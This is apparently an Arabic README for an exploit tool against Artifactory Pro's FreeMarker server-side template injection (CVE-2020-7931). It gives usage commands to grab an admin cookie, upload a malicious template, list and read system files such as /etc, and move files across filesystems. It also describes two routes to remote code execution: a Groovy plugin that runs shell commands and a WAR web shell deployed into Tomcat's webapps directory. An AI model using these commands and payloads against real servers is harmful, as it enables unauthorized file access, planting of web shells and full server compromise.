
اختراق Artifactory باستخدام حقن القوالب من جانب الخادم
CVE-2020-7931 هو إلى حد ما ثغرة تكوين خاطئ مقصودة في Artifactory تسمح للمهاجمين بإجراء حقن القوالب من جانب الخادم من قالب FreeMarker.
تم اكتشاف الثغرة بواسطة Ryan Hanson من Atredis وتم إصلاحها لجميع الإصدارات المتأثرة في أواخر 2019. ستعمل فقط على الإصدارات الاحترافية من Artifactory، حيث أن الإصدارات الأخرى لا تملك إمكانيات القوالب.
يحتوي هذا المستودع على سكريبت وقالب.
يستخرج القالب أول معامل GET لتحديد الإجراء المطلوب. الإجراءات الصالحة هي:
info إرجاع معلومات حول التهيئة الحالية
read <filepath> قراءة ملف كما هو
read_bytes <filepath> قراءة ملف ثنائيًا كأعداد صحيحة
list <dirpath> سرد محتويات مجلد
create_file <filepath> إنشاء ملف فارغ
mkdir <dirpath> إنشاء مجلد
delete <filepath> حذف ملف أو مجلد فارغ
move <src> <dst> نقل ملف (*)
copy <scr_path> <src_file> <dst> نسخ ملف إلى جذر الويب للتطبيق. انتبه للمعاملات الغريبة (**)
(*): يستخدم النقل طريقة renameTo في Java والتي لا تعمل عبر أنظمة الملفات المختلفة. لإجراء نقل عبر أنظمة ملفات مختلفة، يجب استخدام النسخ ثم النقل، مزيد من المعلومات أدناه.
(**): يجب تقسيم المصدر بين المسار الأساسي واسم الملف؛ الوجهة نسبية بالنسبة لمسار جذر تطبيق الويب الخاص بـ artifactory، على سبيل المثال /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
كما رأينا، لن تعمل renameTo() عبر أنظمة الملفات المختلفة. لمحاكاة ذلك، قم أولاً بنسخ الملف ثم نقله (قم بذلك فوراً، وإلا فقد يتعطل artifactory!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): كما هو موضح سابقاً، هنا /bla يشير في الواقع إلى /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla لأن root.write() سيكتب بالضرورة إلى جذر الويب للتطبيق الحالي.
هذا يسمح لك باستغلال التهيئات التي تخزن القطع الأثرية على نظام ملفات منفصل (وهي ممارسة سليمة!).
افتراضيًا مع تثبيت artifactory، ليس من الممكن إنشاء كلاسات، وبالتالي فإن خدعة Execute المعتادة من freemarker.template.utility.Execute لن تعمل.
هناك عدة طرق أخرى للحصول على تنفيذ الأكواد عن بُعد فقط من خلال التلاعب بنظام الملفات:
فيما يلي مثال على إضافة groovy تقوم بتنفيذ شيل، أمثلة أكثر تفصيلاً هنا:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
يجب وضع الإضافات في مسار الإضافات /var/opt/jfrog/artifactory/etc/plugins/ ويجب إعادة تحميلها باستخدام استدعاء API الذي يتطلب صلاحيات مدير Artifactory:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
هذه سيرفليت Tomcat تنفذ قشرة ويب.
يجب وضع ملفات WAR في مسار تطبيقات الويب Tomcat /opt/jfrog/artifactory/tomcat/webapps/. افتراضياً، يكون نشر ملفات WAR تلقائياً وسيبدأ تطبيق ويب آخر بجانب مثيل Artifactory، على سبيل المثال على http://localhost:8081/sample/.
هذه هي الطريقة المفضلة لأنها لا تتطلب صلاحيات مدير Artifactory وهي ببساطة أسهل لتنفيذ الأوامر بسرعة.